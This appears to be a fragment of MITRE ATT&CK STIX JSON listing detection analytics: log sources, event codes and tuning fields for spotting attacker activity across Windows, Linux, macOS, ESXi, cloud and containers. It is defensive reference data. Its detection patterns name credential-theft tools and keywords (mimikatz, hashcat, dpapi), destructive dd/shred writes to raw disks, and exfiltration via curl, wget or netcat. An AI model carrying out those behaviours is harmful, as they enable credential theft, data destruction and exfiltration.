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                    "channel": "module load"
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                {
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
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                    "channel": "task creation events"
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                {
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                    "description": "Threshold for unknown service names or mismatched digital signatures"
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            ],
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        },
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                    "channel": "/var/log/shell.log"
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            ],
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                {
                    "field": "LogFilePath",
                    "description": "Path to shell command history on ESXi."
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                {
                    "field": "TimeWindow",
                    "description": "Time range post-login or privileged escalation."
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            ],
            "x_mitre_deprecated": false
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        {
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            "name": "Analytic 0882",
            "description": "Processes attempting raw disk access via \\\\.\\PhysicalDrive paths, abnormal file I/O to MBR/boot sectors, or loading of third-party drivers (e.g., RawDisk) that enable disk overwrite. Correlate process creation, privilege usage, and disk modification events within a short time window.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4673"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08",
                    "name": "WinEventLog:Sysmon",
                    "channel": "Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
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                    "field": "ProcessWhitelist",
                    "description": "Backup, forensics, or imaging tools may perform legitimate raw disk access \u2014 requires tuning per environment."
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                {
                    "field": "TimeWindow",
                    "description": "Correlation threshold for process execution, driver load, and raw disk writes."
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            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1144",
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            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4768"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
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                    "description": "Allows tuning the correlation timeframe between authentication, session creation, and process/network activity."
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                    "field": "FileSizeThresholdMB",
                    "description": "Padded binary threshold for file size"
                },
                {
                    "field": "TimeWindow",
                    "description": "Detection correlation window for execution after file creation"
                },
                {
                    "field": "UserContext",
                    "description": "Filters for specific users or groups such as admin or service accounts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0292",
            "description": "Use of hash-cracking tools (e.g., John the Ripper, Hashcat) after credential dumping, combined with high CPU usage or GPU invocation via unsigned binaries accessing password hash files",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
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                    "channel": "EventCode=10"
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                {
                    "field": "HashToolName",
                    "description": "Match execution against known cracking toolnames like hashcat.exe, john.exe, etc."
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                {
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                    "description": "Run context: local interactive user vs. scheduled task or remote session"
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            "name": "Analytic 0849",
            "description": "Enumeration of local ESXi accounts using esxcli or vSphere API from unauthorized sessions.",
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                    "name": "vpxd.log",
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                {
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                    "name": "esxi:shell",
                    "channel": "Shell Execution"
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                    "description": "Look for 'esxcli system account list' and API calls from unusual sources."
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                {
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                    "description": "Restrict detection to interactive sessions vs. maintenance/automation jobs."
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            "description": "Custom scripts or processes encode outbound traffic using gzip, Base64, or hex prior to exfiltration via curl, wget, or custom sockets. Encoding typically occurs before or during outbound connections from non-network daemons.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "execve"
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                    "name": "linux:syslog",
                    "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat"
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                    "description": "Tune duration of multi-stage encoding + transfer operations to account for script variability"
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                {
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            "description": "Anomalous traffic from ESXi host management daemons (like hostd or vpxa) embedding non-standard payloads in management protocols (e.g., HTTPS) or beaconing behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.3.0",
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                    "channel": "System service interactions"
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                    "description": "Detects mismatched TLS client behavior vs expected for hostd/vpxa."
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            "description": "Detects SaaS web login followed by dashboard or web GUI page views from unfamiliar locations, devices, or access patterns. Identifies use of sensitive reporting or configuration consoles accessed from high-risk accounts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "Zoom Admin Dashboard accessed from unfamiliar IP/device"
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                {
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                    "channel": "Login"
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                {
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                    "name": "saas:box",
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                    "description": "List of GUI pages or endpoints considered sensitive"
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                {
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                    "description": "Reputation score or allowlist of source IPs"
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                {
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            "name": "Analytic 0583",
            "description": "Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa`, especially during non-installation timeframes. Correlated with `lsass.exe` loading DLLs not present in baseline or lacking valid signatures.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "field": "TimeWindow",
                    "description": "Time between registry write and DLL load; tune based on reboot cycles or scheduled maintenance"
                },
                {
                    "field": "ImageSignatureStatus",
                    "description": "Allow listing of known signed LSASS-authenticated DLLs versus unknown/untrusted ones"
                },
                {
                    "field": "RegistryPathScope",
                    "description": "Allow tuning for subkeys beyond just `Authentication Packages` (e.g., `Security Packages`, `Notification Packages`)"
                },
                {
                    "field": "UserContext",
                    "description": "Correlate user responsible for registry edit; tune for expected administrative/service accounts"
                },
                {
                    "field": "ParentProcess",
                    "description": "Validate process lineage for registry modification; expected tools like `reg.exe` or `powershell.exe`"
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                    "external_id": "AN1011"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1011",
            "description": "Monitor unified logs and Mail.app activity for repetitive incoming messages with attachments. Defenders should look for large volumes of incoming mail stored under ~/Library/Mail with unusual timing or repetitive subjects.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "macOS"
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                    "name": "macos:unifiedlog",
                    "channel": "Repetitive inbound email delivery activity logged within a short time window"
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                {
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                    "name": "fs:fsusage",
                    "channel": "create: Attachment file creation in ~/Library/Mail directories"
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                    "field": "FileCountThreshold",
                    "description": "Threshold for repetitive attachment files created within a defined interval."
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            ],
            "x_mitre_deprecated": false
        },
        {
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                    "external_id": "AN0906"
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            "name": "Analytic 0906",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "esxi:hostd",
                    "channel": "command log"
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                {
                    "field": "ExecutionOriginCheck",
                    "description": "Detect commands executed outside normal management interfaces (e.g., SSH or root shell)."
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                {
                    "field": "ExpectedAdminAccessWindow",
                    "description": "Timeframe when host connection audits are expected (e.g., maintenance windows)."
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            ],
            "x_mitre_deprecated": false
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0385",
            "description": "Processes invoking destructive commands (dd, shred, wipe) with raw device targets (e.g., /dev/sda, /dev/nvme0n1). Detect direct writes to disk partitions and abnormal superblock or bootloader modifications. Correlate shell execution with subsequent block device I/O.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354",
                    "name": "auditd:SYSCALL",
                    "channel": "open/write syscalls on /dev/sd* or /dev/nvme*"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
                    "channel": "Execution of dd, shred, wipe targeting block devices"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetDevices",
                    "description": "Tune to exclude removable drives or test partitions commonly written by administrators."
                },
                {
                    "field": "EntropyThreshold",
                    "description": "Detects large blocks of pseudorandom data being written; may need tuning for backup/crypto workloads."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--d49c13ed-df07-4bb3-a2dc-43411e5d402a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1513",
                    "external_id": "AN1513"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1513",
            "description": "Office apps or scripts writing files followed by xattr manipulation (to evade quarantine) and subsequent HTTPS uploads. Defender perspective: anomalous file modification + outbound TLS traffic originating from non-networking apps (Word, Excel, Preview).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                {
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                    "description": "Privilege level of the VM account receiving the key"
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                    "description": "Restrict expected local users by device owner or role."
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                    "source_name": "mitre-attack",
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            "description": "Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.",
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                "IaaS"
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            ],
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                {
                    "field": "IAMRoleContext",
                    "description": "Limit detection to non-standard identities performing these calls."
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                {
                    "field": "APIFrequency",
                    "description": "Identify enumeration sweeps by volume."
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            ],
            "x_mitre_deprecated": false
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        {
            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0912",
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                "enterprise-attack"
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                "ESXi"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827",
                    "name": "esxi:vmkernel",
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                {
                    "field": "VMInventorySync",
                    "description": "Cross-verify running VMs with vCenter inventory for rogue instances."
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0488",
            "description": "A trusted/signed developer utility (parent) is executed in a non-developer context and (a) spawns suspicious children (e.g., powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, wscript.exe), (b) loads unsigned/user-writable DLLs, (c) writes and then runs a new PE from user-writable paths, and/or (d) immediately makes outbound network connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
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                    "field": "AllowedUtilitiesList",
                    "description": "Org-specific list of dev utilities legitimately used on build/dev hosts to suppress noise."
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                    "field": "DeveloperHosts",
                    "description": "List of known developer/build systems where these tools are expected; raise severity off-host."
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                    "field": "SuspiciousChildList",
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                    "field": "RarePathRegex",
                    "description": "Regex of user-writable or atypical paths (e.g., %TEMP%, %APPDATA%, recycle bin, public profile) for payload drops."
                },
                {
                    "field": "UnsignedOrInvalidSignatureOnly",
                    "description": "Toggle to alert only when child/payload is unsigned or signature invalid to reduce noise."
                },
                {
                    "field": "ParentProcessAllowList",
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                {
                    "field": "NetworkReputationThreshold",
                    "description": "Heuristic for rare/unknown destination (no DNS reputation, new domain, geo outside region)."
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            "x_mitre_deprecated": false
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                "enterprise-attack"
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                "IaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "AWS:CloudTrail",
                    "channel": "CreateUser"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "AWS:CloudTrail",
                    "channel": "AttachUserPolicy"
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                {
                    "field": "Region",
                    "description": "Alert on account creation outside expected geographies"
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                {
                    "field": "ServiceScope",
                    "description": "Filter on creation of users scoped to sensitive services"
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            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "SaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "m365:unified",
                    "channel": "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))"
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            ],
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                {
                    "field": "SaaSAdminGroup",
                    "description": "Known admin groups or break-glass accounts."
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                {
                    "field": "SessionAnomalyThreshold",
                    "description": "Rate/volume of read operations per session considered anomalous."
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            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0133",
                    "external_id": "AN0133"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0133",
            "description": "Detects attempts to clear RDP/network history and modify network configuration artifacts through command execution, registry key deletion, firewall rule changes, and suspicious file deletions (e.g., Default.rdp, registry edits to Terminal Server Client keys).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "EDR:cli",
                    "channel": "Command Line Telemetry"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "name": "WinEventLog:Security",
                    "channel": "Firewall Rule Modification"
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            ],
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                {
                    "field": "TargetPathRegex",
                    "description": "Filter file/registry paths like *\\Terminal Server Client\\* or *Default.rdp*"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate command/registry edits within close proximity to suspicious connection activity"
                },
                {
                    "field": "UserContext",
                    "description": "Detect cleanup behavior from non-interactive or SYSTEM accounts"
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        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0503#AN1392",
                    "external_id": "AN1392"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1392",
            "description": "Detects unexpected encrypted egress traffic from management services (e.g., hostd) or guest VMs utilizing symmetric encryption without traditional protocols (e.g., FTP with embedded AES ciphertext).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "ESXi"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vmkernel",
                    "channel": "egress log analysis"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:hostd",
                    "channel": "execution + payload hints"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "host switch egress data"
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            ],
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                {
                    "field": "GuestVMExfilWatchlist",
                    "description": "VMs with data sensitivity labels or outside normal behavior."
                },
                {
                    "field": "ServiceEgressProfile",
                    "description": "Expected egress destinations and volume for core services."
                }
            ],
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            "created": "2025-10-21T15:10:28.402Z",
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1153",
            "description": "Unusual access to bash history, registry credentials paths, or private key files by unauthorized or scripting tools, with correlated file and process activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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            ],
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                {
                    "field": "TimeWindow",
                    "description": "Defines the threshold time for accessing multiple sensitive files indicating automation."
                },
                {
                    "field": "SuspiciousProcessList",
                    "description": "Process names to monitor (e.g., reg.exe, cmd.exe, powershell.exe, etc.)"
                }
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0320#AN0903",
                    "external_id": "AN0903"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0903",
            "description": "Detects usage of commands or binaries (e.g., netstat, PowerShell Get-NetTCPConnection) and WMI or API calls to enumerate local or remote network connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousParentProcesses",
                    "description": "Non-standard binaries launching PowerShell or netstat (e.g., winword.exe spawning powershell.exe)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlates discovery behavior before lateral movement or credential access."
                },
                {
                    "field": "CommandPatternList",
                    "description": "Regex or keyword patterns to match discovery utilities (e.g., `netstat`, `Get-NetTCPConnection`)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--d7a82fc6-047b-47a8-8b3c-d6dcab00d56b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0116#AN0323",
                    "external_id": "AN0323"
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            ],
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                    "field": "UserContext",
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                },
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                {
                    "field": "HighRiskChildren",
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                {
                    "field": "EgressAllowList",
                    "description": "Corporate update/CDN domains and proxy egress CIDRs to suppress benign updater traffic."
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                    "field": "RegistryNameRegex",
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            "description": "Burst of failed login attempts across VM instances using leaked credential pairs from single IP in public cloud environments",
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                    "channel": "eventName=ConsoleLogin | eventType=AwsConsoleSignIn"
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                    "field": "InstanceIDScope",
                    "description": "Define if detection should group logins per host or across cluster"
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                    "field": "IPBehaviorHistory",
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            "name": "Analytic 1198",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
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                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetProcesses",
                    "description": "List of sensitive processes to monitor (e.g., lsass.exe, svchost.exe)"
                },
                {
                    "field": "KeywordPatterns",
                    "description": "Regex for suspicious command-line arguments such as 'dpapi', 'credman', 'mimikatz'"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--de64bfbd-a6ed-4674-b0c5-dd485cba943b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0473#AN1304",
                    "external_id": "AN1304"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1304",
            "description": "Correlate the creation or modification of containers using restart policies (e.g., 'always') or DaemonSets with elevated host access, service account misuse, or privileged container contexts. Watch for manipulation of systemd units involving containers or pod scheduling targeting specific nodes or namespaces.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953",
                    "name": "systemd:unit",
                    "channel": "container run with restart policy set to 'always' or 'unless-stopped'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76",
                    "name": "kubernetes:audit",
                    "channel": "create"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "kubernetes:audit",
                    "channel": "create"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "restartPolicy",
                    "description": "Tune for environments that legitimately use 'always' or 'unless-stopped' in trusted containers"
                },
                {
                    "field": "targetNamespace",
                    "description": "Scope detection to high-risk namespaces (e.g., kube-system)"
                },
                {
                    "field": "nodeSelector|nodeName",
                    "description": "Adjust if targeting known cluster configurations or test environments"
                },
                {
                    "field": "unitFilePath",
                    "description": "Adapt to your OS/systemd hierarchy and container binary references"
                },
                {
                    "field": "TimeWindow",
                    "description": "Adjust temporal correlation (e.g., container launch \u2192 privilege escalation)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--de71bbc0-66b2-41ae-a3f3-4911ac31b391",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0256#AN0711",
                    "external_id": "AN0711"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0711",
            "description": "Unusual access to SSH agent sockets in /tmp/ or /private/tmp, process access to another user\u2019s $SSH_AUTH_SOCK, and lateral SSH activity without corresponding login events. Defender view: correlation of socket access with anomalous network flows to internal systems.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "macos:unifiedlog",
                    "channel": "Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of ssh or sftp without corresponding login event"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "macos:unifiedlog",
                    "channel": "Session reuse without new auth event"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SocketPathScope",
                    "description": "Limit detection to monitored SSH agent socket directories."
                },
                {
                    "field": "BaselineUsers",
                    "description": "Establish normal SSH agent ownership and expected usage for tuning."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--de8d67d4-9d2a-4379-be8b-3ae3f3b3ac75",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0280#AN0781",
                    "external_id": "AN0781"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-22T18:39:47.271Z",
            "name": "Analytic 0781",
            "description": "Behavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "RegistryKeyPathPatterns",
                    "description": "Environment-specific list of monitored or critical registry keys, e.g., Run, Services, Security Settings, LSASS"
                },
                {
                    "field": "ParentProcessAllowList",
                    "description": "Allowlist of legitimate registry tools (e.g., regedit.exe, msiexec.exe); used to filter known safe writes"
                },
                {
                    "field": "TimeWindow",
